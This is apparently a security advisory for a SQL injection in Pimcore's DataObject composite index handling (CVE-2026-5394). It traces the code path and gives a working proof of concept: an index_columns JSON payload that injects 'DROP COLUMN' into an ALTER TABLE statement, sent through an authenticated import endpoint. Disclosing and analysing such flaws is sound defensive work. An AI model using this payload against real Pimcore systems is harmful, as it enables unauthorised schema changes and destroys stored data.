Pimcore Platform - SQL Injection in DataObject composite index handling during class definition import/save

Confirmed source-to-sink path

1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.
2. setCompositeIndices() stores those values without sanitizing identifier content.
3. ClassDefinition::save() reaches ClassDefinition\Dao::update().
4. Dao::update() calls updateCompositeIndices() for:
   • object_store_<classId>
   • object_query_<classId>
5. Localizedfield\Dao also calls updateCompositeIndices() for:
   • localized query tables
   • localized store tables

Why this is exploitable

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className` -- 

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

• unauthorized schema modification on object query/store tables
• backend denial of service by breaking expected table layout
• data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

• models/DataObject/ClassDefinition/Service.php:92-137
• models/DataObject/ClassDefinition.php:994-1006
• models/DataObject/Traits/CompositeIndexTrait.php:30-85
• models/DataObject/ClassDefinition/Dao.php:217-218
• models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

• valid authenticated administrative session
• ability to import or save a class definition containing compositeIndices

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

1. Authenticate as an administrator with permission to manage/import class definitions.
2. Export an existing class definition or prepare a valid class-definition JSON document.
3. Replace only the compositeIndices section with the payload above.
4. Import the modified definition or save the class through the administrative workflow.

Expected result:

• Pimcore reaches updateCompositeIndices() during class save/import.
• The backend executes an attacker-influenced ALTER TABLE statement against the target object table.
• The affected class table is modified unexpectedly, for example by dropping a column or otherwise changing schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied to $columns before they are interpolated into SQL.

Evidence of Exploitation

• Video of exploitation:

https://github.com/user-attachments/assets/64a49147-12a5-4550-ba22-cb4383523557

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Pimcore Platform Version v12.3.3 Database layer: doctrine/dbal ^4.4 Operating System: Any

References

Github Repository: https://github.com/pimcore/pimcore Security: https://github.com/pimcore/pimcore/security